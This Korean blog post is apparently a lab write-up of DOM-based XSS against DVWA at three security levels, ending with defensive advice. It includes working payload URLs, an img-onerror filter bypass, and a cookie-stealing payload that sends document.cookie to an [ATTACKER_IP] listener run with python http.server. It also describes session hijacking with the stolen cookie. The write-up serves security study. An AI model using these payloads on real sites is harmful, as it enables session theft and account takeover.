웹 해킹 & 보안

[웹 모의해킹] XSS - DOM 기반 크로스사이트스크립팅 실습

ahhyun98 2025. 6. 8. 14:49

 

이번 실습에서는 DOM(Document Object Model)을 조작하는 방식의 XSS 공격, 즉 DOM-Based XSS 취약점을 분석하고 실습하였다. DVWA 환경을 활용해 보안 수준별로 DOM XSS가 어떻게 발생하며, 어떤 식으로 방어하는지까지 확인하였다. 


1. Low Security - 필터링 없이 DOM 삽입

 

공격 URL 예시

 

http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=<script>alert("you have been hacked :)")</script>
http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
  • 위 URL처럼 default 파라미터에 <script> 태그를 삽입하면 그대로 DOM에 렌더링 되면서 XSS가 발생한다. 
  • %3Cscript%3Ealert(document.cookie)%3C/script%3E와 같이 인코딩 된 URL을 사용해도 결과는 동일하다. 
  • JavaScript로 쿠키를 탈취하거나 사용자의 브라우저를 조작할 수 있다. 

실습 절차

1. 브라우저의 개발자 도구 (F12)에서 쿠키 값 중  PHPSESSID=[공격 대상 세션] 값을 수정한다. 

2. 악성 URL로 접근하면 피해자의 로그인 상태로 페이지에 접근이 가능하다. 

3. => 쿠키 탈취가 심각한 이유를 실제로 확인할 수 있다. 

 

 

 


2. Medium Security - <script> 태그 필터링

 

필터링 소스 코드

if (array_key_exists("default", $_GET) && !is_null($_GET['default'])) {
    $default = $_GET['default'];
    if (stripos($default, "<script") !== false) {
        header("location: ?default=English");
        exit;
    }
}

 

  • default 파라미터에 <script>가 포함되면 강제로 ?default=English로 리다이렉트 한다.
  • 그러나 onerror, onload 등의 이벤트 기반 XSS는 여전히 우회 가능하다. 

우회 공격

http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=English</select><img src/onerror=alert(123456)>
  • <img> 태그의 onerror 이벤트를 활용한 우회 XSS.
  • DOM 상에서 스크립트가 직접 실행되지 않지만, 이벤트 트리거를 통해 공격 가능하다. 

 


3. 고급 공격 - 쿠키 탈취 시나리오

 

공격 URL

http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=English</select><img src/onerror=window.location="http://[ATTACKER_IP]:4444/?cookie="+document.cookie>

 

공격 서버 실행

python3 -m http.server 4444

 

  • 위 공격 URL에 접속하면 피해자의 브라우저에서 쿠키가 공격자의 서버로 전송된다.
  • Kali 리눅스에서 HTTP 서버를 열어두면 접속 로그에 쿠키 정보가 포함된 GET 요청이 기록된다. 

4. High Security - 화이트리스트 기반 필터링

 

소스코드

if (array_key_exists("default", $_GET) && !is_null($_GET['default'])) {
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            break;
        default:
            header("location: ?default=English");
            exit;
    }
}
  • default 값이 허용된 언어(French, English, German, Spanish) 외에는 무조건 리다이렉트 된다. 
  • DOM을 조작하더라도 URL # 프래그먼트에 스크립트를 넣으면 브라우저는 이를 파싱 한다. 

우회 시도

http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>
  • 클라이언트 사이드에서 location.hash 등을 통해 직접적으로 DOM 삽입이 이루어지는 경우 여전히 공격이 가능하다. 
  • 고급 DOM XSS는 클라이언트 자바스크립트 코드의 동작을 분석해야 파악할 수 있다. 

5. 마무리

  • DOM-Based XSS는 서버가 아닌 클라이언트(JavaScript)에서 발생하는 취약점으로, 탐지가 어렵고 방어도 까다롭다. 
  • <script> 필터링만으로는 충분하지 않으며, onerror, onload, iframe, img, svg 등 다양한 벡터가 존재한다. 
  • 고급 보안 수준에서는 화이트리스트 기반 필터링, DOM Sanitizer, CSP 적용이 필수적이다. 
  • 쿠키 탈취는 세션 하이재킹으로 이어질 수 있으므로, HttpOnly, Secure 등의 속성을 반드시 적용해야 한다. 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.